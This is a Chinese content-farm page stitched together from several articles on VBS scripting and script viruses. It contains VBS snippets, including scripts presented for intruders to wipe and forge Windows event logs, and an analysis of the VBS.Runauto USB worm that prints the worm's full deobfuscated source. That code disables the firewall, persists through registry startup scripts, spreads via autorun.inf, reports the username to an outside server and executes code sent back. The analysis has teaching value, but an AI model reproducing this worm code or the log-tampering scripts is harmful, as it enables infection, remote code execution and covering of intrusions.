免费论文网 首页

vbs脚本病毒生成机

时间:2018-11-09 11:20 来源:免费论文网

篇一:VBS脚本病毒防范

VBS脚本病毒的大量流行使我们对VBS的功能有了一个全新的认识,现在大家对它也开始重视起来。VBS代码在本地是通过Windows Script Host(WSH)解释执行的。VBS脚本的执行离不开WSH,WSH是微软提供的一种基于32位Windows平台的、与语言无关的脚本解释机制,它使得脚本能够直接在Windows桌面或命令提示符下运行。利用WSH,用户能够操纵WSH对象、ActiveX对象、注册表和文件系统。在Windows 2000下,还可用WSH来访问Windows NT活动目录服务。

用VBS编写的脚本程序在窗口界面是由wscript.exe文件解释执行的,在字符界面由cscript.exe文件解释执行。wscript.exe是一个脚本语言解释器,正是它使得脚本可以被执行,就象执行批处理一样。关于VBS大家一定比我熟悉多了,所以再不废话,直接进入主题,看看我总结的VBS在系统安全中的八则妙用吧。

一、给注册表编辑器解锁

用记事本编辑如下内容:

DIM WSH

SET WSH=WSCRIPT.CreateObject("WSCRIPT.SHELL") ’击活WScript.Shell对象

WSH.POPUP("解锁注册表编辑器!")

’显示弹出信息“解锁注册表编辑器!”

WSH.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion

\Policies\System\DisableRegistryTools",0,"REG_DWORD"

’给注册表编辑器解锁

WSH.POPUP("注册表解锁成功!")

’显示弹出信息“注册表解锁成功!”

保存为以.vbs为扩展名的文件,使用时双击即可。

二、关闭Win NT/2000的默认共享

用记事本编辑如下内容:

Dim WSHShell’定义变量

set WSHShell=CreateObject("WScript.shell") ’创建一个能与操作系统沟通的对象WSHShell

Dim fso,dc

Set fso=CreateObject("Scripting.FileSystemObject")’创建文件系统对象

set dc=fso.Drives ’获取所有驱动器盘符

For Each d in dc

Dim str

WSHShell.run("net share"&d.driveletter &"$ /delete")’关闭所有驱动器的隐藏共享

next

WSHShell.run("net share admin$ /delete")

WSHShell.run("net share ipc$ /delete")’关闭admin$和ipc$管道共享

现在来测试一下,先打开cmd.exe,输入net share命令就可以看到自己机子上的共享。双击执行stopshare.vbs后,会看见窗口一闪而过。然后再在cmd里输入net share命令,这时候没有发现共享列表了

三、显示本机IP地址

有许多时候,我们需要知道本机的IP地址,使用各种软件虽然可以办到,但用VBS脚本也非常的方便。用记事本编辑如下内容:

Dim WS

Set WS=CreateObject("MSWinsock.Winsock")

IPAddress=WS.LocalIP

MsgBox "Local IP=" & IPAddress

将上面的内容保存为ShowIP.vbs,双击执行即可得到本机IP地址。

四、利用脚本编程删除日志

入侵系统成功后黑客做的第一件事便是清除日志,如果以图形界面远程控制对方机器或是从终端登陆进入,删除日志不是一件困难的事,由于日志虽然也是作为一种服务运行,但不同于http,ftp这样的服务,可以在命令行下先停止,再删除,在命令行下用net stop eventlog是不能停止的,所以有人认为在命令行下删除日志是很困难的,实际上不是这样,比方说利用脚本编程中的VMI就可以删除日志,而且非常的简单方便。源代码如下:

strComputer= "."

Set objWMIService = GetObject("winmgmts:" _

& "{impersonationLevel=impersonate,(Backup)}!\\" & _

strComputer & "\root\cimv2")

dim mylogs(3)

mylogs(1)="application"

mylogs(2)="system"

mylogs(3)="security"

for Each logs in mylogs

Set colLogFiles=objWMIService.ExecQuery _

("Select * from Win32_NTEventLogFile where LogFileName=’"&logs&"’")

For Each objLogfile in colLogFiles

objLogFile.ClearEventLog()

Next

next

将上面的代码保存为cleanevent.vbs文件即可。在上面的代码中,首先获得object对象,然后利用其clearEventLog()方法删除日志。建立一个数组,application,security,system,如果还有其他日志也可以加入数组。然后用一个for循环,删除数组中的每一个元素,即各个日志。

五、利用脚本伪造日志

删除日志后,任何一个有头脑的管理员面对空空的日志,马上就会反应过来被入侵了,所以一个聪明的黑客的学会如何伪造日志。利用脚本编程中的eventlog方法创造日志非常简单,请看下面的代码:

set ws=wscript.createobject("Wscript.shell")

ws.logevent 0 ,"write log success" ’创建一个成功执行日志

将上面的代码保存为createlog.vbs即可。这段代码很容易理解,首先获得wscript的一个shell对象,然后利用shell对象的logevent方法。logevent的用法:logevent eventtype,"description" [,remote system],其中eventtype为日志类型,可以使用的参数如下:0代表成功执行,1执行出错,2警告,4信息,8成功审计,16故障审计。所以上面代码中,把0改为1,2,4,8,16均可,引号中的内容为日志描述。利用这种方法写的日志有一个缺点,即只能写到应用程序日志,而且日志来源只能为WSH,即Windows Scripting Host,所以不能起太多的隐蔽作用,在此仅供大家参考。

六、禁用开始菜单选项

用记事本编辑如下内容:

Dim ChangeStartMenu

Set ChangeStartMenu=WScript.CreateObject("WScript.Shell")

RegPath="HKCR\Software\Microsoft\Windows\CurrentVersion\Policies\"

Type_Name="REG_DWORD"

Key_Data=1

StartMenu_Run="NoRun"

StartMenu_Find="NoFind"

StartMenu_Close="NoClose"

Sub Change(Argument)

ChangeStartMenu.RegWrite RegPath&Argument,Key_Data,Type_Name

MsgBox("Success!")

End Sub

Call Change(StartMenu_Run) ’禁用“开始”菜单中的“运行”功能

Call Change(StartMenu_Find) ’禁用“开始”菜单中的“查找”功能

Call Change(StartMenu_Close) ’禁用“开始”菜单中的“关闭系统”功能

将以上代码保存为ChangeStartMenu.vbs文件,使用时双击即可。

七、执行外部程序

用记事本编辑如下内容:

DIM objShell

set objShell=wscript.createObject("wscript.shell")

iReturn=objShell.Run("cmd.exe /C set var=world", 1, TRUE)

保存为.vbs文件即可。在这段代码中,我们首先设置了一个环境变量,其名为var,而值为world,用户可以使用%Comspec%来代替cmd.exe,并且可以把命令:set var=world改成其它的命令,这样就可以使它可以运行任意的命令。

八、重新启动指定的IIS服务

用记事本编辑如下内容:

Const ADS_SERVICE_STOPPED = 1

Set objComputer = GetObject("WinNT://MYCOMPUTER,computer")

Set objService = objComputer.GetObject("Service","MYSERVICE")

If (objService.Status = ADS_SERVICE_STOPPED) Then

objService.Start

End If

将它以startsvc.vbs为名保存在C盘根目录。并通过如下命令执行:cscript c:\startsvc.vbs。运行后,经你指定的IIS服务项将被重新开启。

最后,我们再说说开篇时提到的VBS脚本病毒的防范方法。VBS病毒的执行离不开WSH,在带给人们便利的同时,WSH也为病毒的传播留下可乘之机。所以要想防范VBS病毒,可以选择将WSH卸载,只要打开控制面板,找到“添加/删除程序”,点选“Windows安装程序”,再鼠标双击其中的“附件”一项,然后再在打开的窗口中将“Windows Scripting Host”一项的“√”去掉,然后连续点两次“确定”就可以将WSH卸载。或者,你也可以点击“我的电脑”→“查看”→“文件夹选项”,在弹出的对话框中,点击“文件类型”,然后删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射,都可以达到防范VBS脚本病毒的目的。

篇二:VBS.Runauto脚本病毒查杀

VBS.Runauto脚本病毒是我们俗称的U盘病毒的一种,Symantec公司给其定位为蠕虫(Worm)病毒,虽然危害性远不如一些恶性病毒,但常常会严重影响用户正常使用计算机。

最近一位同事的笔记本遭遇了这个病毒,正好这学期在给计算机专业的同学们上VBscript于是顺便分析了一下。

首先从染病毒的计算机上提取下来病毒样本,由于是临时发现的,也没有特别准备,就用wiar压缩后保存。

在实验机器上打开病毒样本的压缩文件,我的Symantec 11立即报警,并把病毒删除了。所以必须禁用杀毒软件或者设置一个“例外区域”用于分析病毒,于是在桌面上新建了“evA”文件夹,并将之设置为防病毒例外文件夹,这下病毒样本安静的躺在里面了。

脚本病毒是解释型程序,因此我们不需要什么特别的反编译工具就能查看源代码了。虽然Windows的记事本足够用了,但是我还是喜欢使用UltraEdit。

使用打开UltraEdit打开病毒文件如图1,注意,为了防止误触发病毒,这里首先将vbs扩展名修改为txt。

图1 病毒脚本

打开病毒脚本,大家可以发现代码的可读性非常差,大小写字母杂乱的排列,并且还有很多无法理解的符号串。其实这是病毒为了保存自己而“想”出来的“保护伞”。

病毒代码大小写问题可以在UE(以后UltraEdit简称)中选择文本后,使用Ctrl+F5直接转换成小写字母。对于类似密码的“00c2%0033%??”的字符串相对来说比较麻烦点。

从病毒代码中可以发现只要出现“乱码”的地方都会有“STrREVeRSE”和“unEscaPE”函数的调用,其中“unescape”是vbscript标准函数,作用就是将经过escape函数编码过的字符串进行反编码。这里需要说明一下,由于Web中的Html对于有些符号是进行保留使用的,比如“<”和“>”符号,如果需要对这些符号进行显示那么需要对他们进行html编码,所有空格、标点、重音符号以及其他非 ASCII 字符都用 %xx 编码代替,其中 xx 等于表示该字符的十六进制数。例如,空格返回的是 "%20" 。字符值大于 255 的,比如中文,以 %uxxxx 格式存储。在对“密码”进行分析,发现其实就是将escape编码的符号串进行了反向,再结合“STrREVeRSE”函数名,可以断定病毒作者为了能使病毒逃避杀毒软件的检测,采用了将关键代码进行编码和反向存储的方式。

在UE中可以直接对字符串进行编码和解码,不过要对字符串镜像并没有现成的工具可以使用,最近正在给学生上JavaScript,顺手写了一个页面进行解码或者编码,虽然很简单,不过为了叙述的连续性,代码如下:

复制代码 代码如下:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>将字符串Reverse</title>

<script type="text/javascript">

function _reverse()

{

with(document){

if(rev.order.checked){

revedstr = rev.instr.value.split('').reverse().join('')

write("<strong>reversed string:</strong>",revedstr,"<br>");

write("<strong>unescape string:</strong>",unescape(revedstr),"<br>");

write("<strong>escape string:</strong>",escape(revedstr),"<br>");

}

else{

unescapstr = unescape(rev.instr.value);

revedstr = unescapstr.split('').reverse().join('');

write("<strong>uneacape string:</strong>",unescapstr,"<br/>");

write("<strong>reversed string:</strong>",revedstr);

}

}

}

</script>

</head>

<body>

<form action="" method="post" name="rev">

<input name="order" type="checkbox" value="" />转换顺序(先求反后解码)?<br /> <input name="instr" type="text" value="请在这里输入" onmousemove="this.select()"/> <input name="" type="button" value="转换" onclick="_reverse()"/></form>

</body>

</html>

使用以上的工具对代码进行解码后代码如下:

复制代码 代码如下:

On Error Resume Next

Set fso=CreateObject("scripting.filesystemobject")

Set wshshell=CreateObject(strreverse("wscript.shell"))

Dim dri_list,dri_list0

Dim issend

issend=0

c_time=Date()

' 这是关闭SharedAccess(Intemet连接共享和防火墙服务)。

wshshell.run "net stop sharedaccess",0

Set drvs=fso.drives

sysdir=fso.GetSpecialFolder(1) 'WindowsFolder=0,SystemFolder=1, TemporaryFolder=2 thispath=wscript.ScriptFullName

Set fc=fso.OpenTextFile(thispath,1) 'ForReading=1,ForWriting=2 ,ForAppending=8

scopy=fc.readall

fc.Close

Set fc=Nothing

' 写注册表注册文件sysinfo.reg,注册系统开机自动执行病毒

Call writefile(sysdir&"\sysinfo.reg","windows registry editor version 5.00

[hkey_local_machine\software\policies\microsoft\windows\system\scripts\startup\0\0]

"script"="%windir%\\system32\\prncfg.vbs" "parameters"="" "exectime"=hex(b):00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00

[hkey_local_machine\software\microsoft\windows\currentversion\group

policy\state\machine\scripts\startup\0\0] "script"="%windir%\\system32\\prncfg.vbs" "parameters"="" "exectime"=hex(b):00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 ")

' 导入注册表sysinfo.reg

wshshell.run "regedit /s sysinfo.reg",0

wscript.sleep 200

fso.deletefile sysdir&"\sysinfo.reg",True

' 如果当前运行脚本在系统目录中

If InStr(thispath,sysdir)>0 Then

dri_list0=listdrv()

o_time=left(c_time,3)&cstr(Int(Mid(c_time,4,1))-1)&Right(c_time,Len(c_time)-4) '回拨时间1年 wshshell.run "cmd /c Date "&o_time,0

wscript.sleep 10000

For dri_i=1 to Len(dri_list0)

Call writeauto(Mid(dri_list0,dri_i,1)&":\")

Next

wshshell.run "cmd /c Date "&c_time,0

' WMI应用查询计算机名,用户名

computername="":username=""

Set objwmiservice=GetObject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2") Set colcomputers = objwmiservice.execquery("select * from win32_computersystem") For Each objcomputer in colcomputers

computername=objcomputer.name

username=objcomputer.username

Next

If username="" Then username="evar"

If InStr(username,"\")<=0 Then

username=computername&"\"&username

End If

do

If issend=0 Then

' 链接外网,获得执行代码

Set xml=CreateObject("msxml2.serverxmlhttp")

xml.open "get","http://202.119.104.100/zzb/eva/count.asp?a="&username,0

' http://202.119.104.100/zzb/是南师大学校党委组织部主办的网站

xml.setrequestheader "user-agent","evar"

xml.send()

If Err.number=0 Then

issend=1

res=xml.responsetext

If ucase(left(res,7))=ucase("Execute") Then Execute res

Else

Err.clear

End If

Set xml=Nothing

End If

dri_list=listdrv()

For dri_k=1 to Len(dri_list)

If InStr(dri_list0,Mid(dri_list,dri_k,1))<=0 Then

Call writeauto(Mid(dri_list,dri_k,1)&":\")

End If

Next

dri_list0=dri_list

wscript.sleep 1000

loop

Else

wshshell.run "explorer .\",3

wscript.sleep 2000

wshshell.appactivate LCase("我的电脑")

wshshell.sendkeys UCase("% c") ' 模拟击键 alt + space + c ,其实就是关闭窗口

runflag=0

' 获得当前系统进程,WMI的应用

For each ps in GetObject _

("winmgmts:\\.\root\cimv2:win32_process").instances_

If lcase(ps.name)=lcase("wscript.exe") Then

runflag=runflag+1

End If

Next

If runflag>=2 Then wscript.quit

Set sf=fso.GetFolder(sysdir)

f_time=Left(sf.datecreated,InStr(sf.datecreated," ")-1)

wshshell.run "cmd /c Date "&f_time,0

wscript.sleep 100

Call writefile(sysdir&lcase("\prncfg.vbs"),vs(scopy))

wshshell.run "cmd /c Date "&c_time,0

wshshell.run sysdir&"\prncfg.vbs"

End If

' 混乱字符串,进行代码变体!

Function vs(str)

Execute "For i=1 to Len(str) c=ucase(Mid(str,i,1)) randomize If Int(rnd()*100)>50 Then vs=vs&lcase(c) Else vs=vs&c End If Next vs=replace(vs,ucase("%u"),lcase("%u"))"

End Function

' 列出驱动器

Function listdrv()

Execute "Dim tmp_list tmp_list="" For each drv in drvs If drv.isready Then tmp_list=tmp_list&drv.driveletter End If Next listdrv=tmp_list"

End Function

' 写autorun.inf文件

Sub writeauto(path)

' 写Auto文件前的准备,如果path中有autorun.inf文件夹那么重命名;如果有autorun.inf文件则删除

Execute "If fso.folderexists(path&"autorun.inf") Then fso.movefolder path&"autorun.inf",path&rnd() elseif fso.fileexists(path&"autorun.inf") Then fso.deletefile path&"autorun.inf",true End If"

' autorun.inf中的启动代码

cmdstr="shell\*\command=wscript.exe "&chr(34)&"eva.vbs"&chr(34)

autostr="[autorun]"&vbcrlf&"open="&vbcrlf&replace(cmdstr,"*","open")&vbcrlf&replace(cmdstr,"*","explore")&vbcrlf&replace(cmdstr,"*","find")

' 写入

Call writefile(path&ucase("autorun.inf"),autostr)

Call writefile(path&"eva.vbs",vs(scopy))

End Sub

'将content中的内容写入fpath,并设置文件属性是ReadOnly、Hidden和System Sub writefile(fpath,content)

Execute "If fso.fileexists(fpath) Then fso.deletefile fpath,true Set fc=fso.OpenTextFile(fpath,2,true) fc.write content fc.Close Set fc=Nothing Set fa=fso.getfile(fpath) fa.attributes=7 Set fa=Nothing" End Sub

以上的代码已经添加了很多注释,如果你能奈着性子看到这里,估计应该明白的差不多了。代码本身的编码质量一般,因为这个代码在下载病毒指令是从南师大的一个网站上下载的,所以估计是个学生所为。

在这段病毒中,作者使用了自定义的vs函数进行“变脸”以逃避防病毒检测,使用随机方式对病毒体进行大小写转换,不过实际上这种处理对真正的防病毒软件是没有任何效果的J 在这个病毒中,使用了注册表,Windows自动运行,文件操作还有WMI控制等技术,这些都是当前Windows环境中主流技术。可以发现这些技术微软都为脚本,特别是VBScrit提供了调用接口,从技术上讲是COM组件都提供了Automation接口,支持各种脚本的调用,本来是为了让Windows脚本能做更过的事,但是他们也“很好”好的为病毒服务,因此我们在这里分析病毒主要目的不是为了编写病毒,而是学习编程技术,利用其中的技术为我们的工作和学习提供方便。因此希望学习脚本编程的朋友,可以好好分析这个鲜活的例子。

篇三:脚本病毒实验

桂林电子科技大学

数学与计算科学学院实验报告

实验室:06303实验日期:2014年 10月 21日


vbs脚本病毒生成机
由:免费论文网互联网用户整理提供,链接地址:
http://m.csmayi.cn/meiwen/24750.html
转载请保留,谢谢!
相关阅读
最近更新
推荐专题